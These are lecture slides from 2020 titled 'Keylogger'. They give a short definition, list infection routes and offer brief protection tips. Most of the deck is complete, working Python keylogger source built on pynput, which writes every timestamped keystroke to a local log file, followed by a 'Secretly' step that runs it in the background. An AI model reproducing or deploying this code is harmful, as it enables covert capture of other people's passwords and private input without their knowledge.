Keylogger
Lecturer: Иo1lz
Date: May. 31st, 2020
OUTLINE
- What is keylogger?
- Programming
- References
What is keylogger?
Keylogger
At its most basic definition, a keylogger is a function which records or keystrokes on a computer.
![](https://www.binyod.com/wp-content/uploads/2018/08/keylogger.png)
Spread
- through a phishing mail with an attachment/file
- through webpage script with vulnarable browser
- through an infected system
![](https://www.binyod.com/wp-content/uploads/2018/08/keylogger.png)
Protect Yourself
- Implement two factor authentication
- Use of virtual keyboard
- Use a comprehensive security system
![](https://www.binyod.com/wp-content/uploads/2018/08/keylogger.png)
Programming
Package Installation
$ pip install pynput
pynput is the library that allows you to control and monitor input devices.
Program the Program
from pynput.keyboard import Key, Listener
from threading import Timer, Thread
import time
import os
class Monitor:
def _build_logs(self):
if not os.path.exists('./logs'):
os.mkdir('./logs')
def _on_press(self, key):
with open('./logs/log.txt', 'a') as f:
timestamp = time.asctime(time.localtime(time.time()))
f.write('{}\t\t{}\n'.format(timestamp, key))
def _on_release(self, key):
if key == Key.esc:
return False
def _keylogging(self):
with Listener(on_press = self._on_press, on_release = self._on_release) as listener:
listener.join()
def run(self, interval = 1):
"""
Launch the keylogger with a thread.
"""
self._build_logs()
Thread(target = self._keylogging).start()
if __name__ == '__main__':
mon = Monitor()
mon.run()
Execute it!
Normally
$ python [filename].py
Secretly
$ python [filename].py &
References
- (2020), What is a Keylogger: A Brief on a Dangerous and Malicious Tool, Retrieve from https://enterprise.comodo.com/what-is-a-keylogger.php
- Anthony (2016年5月16日),python 研究-with as 用法,取自https://icodding.blogspot.com/2016/05/python-with-as.html?m=0
- (2019, January 17th), Create a Keylogger with Python - Tutorial, Retrieve from https://www.youtube.com/watch?v=TbMKwl11itQ
- (2018, October 13th), build a keylogger that desktop screenshots with python, Retrieve from https://www.youtube.com/watch?v=2u3nR3JNEzI
Thanks for listening.
Keylogger
By Иo1lz
Keylogger
- 96